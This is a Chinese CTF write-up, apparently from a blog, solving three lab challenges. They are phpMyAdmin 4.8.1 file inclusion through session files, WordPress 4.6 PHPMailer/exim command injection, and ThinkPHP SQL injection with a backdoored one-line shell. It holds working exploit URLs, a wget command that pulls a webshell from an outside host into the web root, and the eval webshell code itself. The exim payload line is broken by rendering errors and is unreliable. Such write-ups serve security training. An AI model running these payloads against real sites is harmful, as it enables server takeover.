ctf---pzctf赛前测试题

title:pzctf赛前测试题

0x01 phpmyadmin后台文件包含

phpmyadmin是一款应用非常广泛的mysql数据库管理软件,基于PHP开发。
CVE-2018-12613 PhpMyadmin后台文件包含分析,影响版本如下:
phpMyAdmin 4.8.0和4.8.1受到影响。
第一题:点进去是一个phpmyadmin登陆后台(普通权限)

第一时间想到是into oufile和log_file写shell
先查看相关变量
secure_file_priv;为null
所以不能进行导入导出文件操作,into oufile不能利用

general_log和general_log_file又没有权限修改,所以利用日志文件写shell也不能利用了。

在管理后台右下角,发现是phpmyadmin4.8.1版本的,直接百度这个版本的漏洞,发现有文件包含漏洞

有两种利用方法:

第一种是,利用数据库后台每次登陆都会自动生成一个sess_你的SESSION ID文件

第二种是,利用数据表文件(.frm)

当然都得知道这两个文件存放的绝对路径

第一种利用方法得猜存放路径:(百度各系统的默认存放路径)

Linux:
/tmp 或 /var/lib/php/session
Windows:
C:\WINDOWS\Temp

第二种利用方法:

select @@datadir*

第一种方法测试如下:

删除之前登陆的cookie,重新登陆phpmyadmin后台,复制下它的cookie的值

利用漏洞,构造payload:
(ps:利用报错,可以知道是ubantu,那构造两个payload分别测试)

http://h.xxx.com:8090/index.php?target=db_sql.php%3f/../../../../../../../../tmp/sess_02ba5bddabd76152e694a69d8c697b63

http://h.xxx.com:8090/index.php?target=db_sql.php%3f/../../../../../../../../var/lib/php/session/sess_02ba5bddabd76152e694a69d8c697b63

payload构造好后,点击顶部导航栏中的SQL按钮,执行SQL查询

select ‘<?php phpinfo();exit;?>’

最后就是访问我们的payload了,第一个payload测试成功

第二种方法测试如下:
在test数据库新建个mo表,字段名为:

<?php phpinfo();exit;?>

构造payload:

http://h.xxx.com:8090/index.php?target=db_sql.php%3f/../../../../../../var/lib/mysql/test/mo.frm

访问,发现报错,说是访问文件不存在。问了出题人,说是也不知道为什么没有mysql/test这个目录。但实际应用还是可以的。

当然还有其他种思路,比如实验吧的一试验题,配合文件上传进行文件包含

###0x02 Wordpress 远程代码执行
第二题:进来是wordpress博客页面
wordpress是一种使用PHP语言开发的博客平台。

先查看它的版本信息,访问http://h.xxx.com:8080/readme.html
可以看到是wordpress4.6的

针对wordpress低版本的漏洞利用有很多,著名的利用工具wpscan,WPForce… 网上还公布了利用的poc,可百度下载。
这里我是自己找的直接getshell的exp

该漏洞是WordPress与PHPMailer结合导致命令执行

PHPMailer 是一个封装好的 PHP 邮件发送类,支持发送 HTML 内容的电子邮件,以及可以添加附件发送。
WordPress是以php语言编写的Blog程序,本身的架构非常好。其源码存在PHPMailer类。WordPress 在向用户发送密码时,就是使用的PHPMailer类。

漏洞描述:
独立研究人员Dawid Golunski发现该漏洞—远程攻击者利用该漏洞,可实现远程任意代码在web服务器上执行,并使web应用陷入威胁中。攻击者主要在常见的web表单如意见反悔表单、注册表单中 ,邮件密码重置表单等使用发送的组建时利用此漏洞

在重置wordpress后台管理密码等实际运用中,phpmailer组件是调用linux(只针对ubuntu/debain系统)系统命令exim4进行邮件发送。

并且在进行host注入时,会有以下的限制:

  • wordpress方面以及PHPMailer库方面都会防止攻击者注入空字符(空格或TAB)到exim4命令中。
  • host字段中如果出现/,服务器会拒绝我们的请求

根据exim4帮助手册和内置函数,如字符串截取函数substr进行绕过上面的限制,$run函数来调用系统命令。

空格 ==> {substr{10}{1}{tod_log}}
‘/’ ==> {substr{0}{1}{spool_directory

于是根据以上构造payload

/usr/bin/wget --output-document /var/www/html/webshell.php raw.githubusercontent.com/medicean/vulapps/master/w/wordpress/6/webshell.php

Payload原理是下载远程木马文件http://raw.githubusercontent.com/medicean/vulapps/master/w/wordpress/6/webshell.php到网站/var/www/html/目录
(ps:ubantu,debian默认的网站根目录/var/www/htm)

转化过来是:

target(any -froot@localhost -be KaTeX parse error: Expected '}', got 'EOF' at end of input: {run{{substr{0}{1}{KaTeX parse error: Expected 'EOF', got '}' at position 16: spool_directory}̲}usr{substr{0}{1}{KaTeX parse error: Expected 'EOF', got '}' at position 16: spool_directory}̲}bin{substr{0}{1}{KaTeX parse error: Expected 'EOF', got '}' at position 16: spool_directory}̲}wget{substr{10}{1}{KaTeX parse error: Expected 'EOF', got '}' at position 8: tod_log}̲}--output-docum…{substr{10}{1}{KaTeX parse error: Expected 'EOF', got '}' at position 8: tod_log}̲}{substr{0}{1}{KaTeX parse error: Expected 'EOF', got '}' at position 16: spool_directory}̲}var{substr{0}{1}{KaTeX parse error: Expected 'EOF', got '}' at position 16: spool_directory}̲}www{substr{0}{1}{KaTeX parse error: Expected 'EOF', got '}' at position 16: spool_directory}̲}html{substr{0}{1}{KaTeX parse error: Expected 'EOF', got '}' at position 16: spool_directory}̲}webshell.php{substr{10}{1}{KaTeX parse error: Expected 'EOF', got '}' at position 8: tod_log}̲}raw.githubuser…{substr{0}{1}{KaTeX parse error: Expected 'EOF', got '}' at position 16: spool_directory}̲}medicean{substr{0}{1}{KaTeX parse error: Expected 'EOF', got '}' at position 16: spool_directory}̲}vulapps{substr{0}{1}{KaTeX parse error: Expected 'EOF', got '}' at position 16: spool_directory}̲}master{substr{0}{1}{KaTeX parse error: Expected 'EOF', got '}' at position 16: spool_directory}̲}w{substr{0}{1}{KaTeX parse error: Expected 'EOF', got '}' at position 16: spool_directory}̲}wordpress{substr{0}{1}{KaTeX parse error: Expected 'EOF', got '}' at position 16: spool_directory}̲}6{substr{0}{1}{$spool_directory}}webshell.php}} null)

转化还需要注意:

  • 远程 URL 中不要有 http://
  • 所有字母必须小写

Payload构造好了,下一步利用wp_login.php登陆页面猜测任意用户名,如果用户名存在会有不一样的提示,根据这个,我找到一个admin用户

再进行下一步的burpsuite抓包重放包,下面是burpsuite模拟攻击时候的抓包 返回的是302时说明已经命令执行成功

例如下图,出现302说明命令执行成功(ps:由于服务器上docker搭建的wordpress出现了问题,重启和重装多次wordpress镜像均不行。出题人也没办法了。这一步的图也遗憾没截到。此图是网上找的效果图)

直接对host进行修改,重放包,出现302状态码说明执行成功

访问http://h.xxx.com:8080/webshell.php

**已知远程木马文件webshell.php内容

<?php @eval($_POST['ant']);?>**

Ok,成功执行了命令,在根目录下载了webshell.php文件

###0x03 thinkphp框架注入
进入第三题

开始只看到下面的ids参数注入,手工尝试了几波无奈后,终于发现地址栏上的图标
知道这是Thinkphp框架搭建的网站。

利用index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

爆出数据库用户
本来想再继续爆表和列名的,但一使用子查询就Invalid parameter number: parameter was not defined
没有大佬的肩膀,想来我是无法进行子查询了。

不过可以先扫描下目录
只发现一个txt文件

打开看看robots.txt有啥目录文件

啥也没有,又乱搞了很长时间。才突然发现robots.txt的进度条还有很长。拉到下面

一开始以为是注入和后台getshell。原来是留有后门,爆破一句话木马密码就可以。上一篇写过如何爆破的,这里就不写了
密码是 xxxxxx

三道题直接getshell读flag所在的文件即可

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值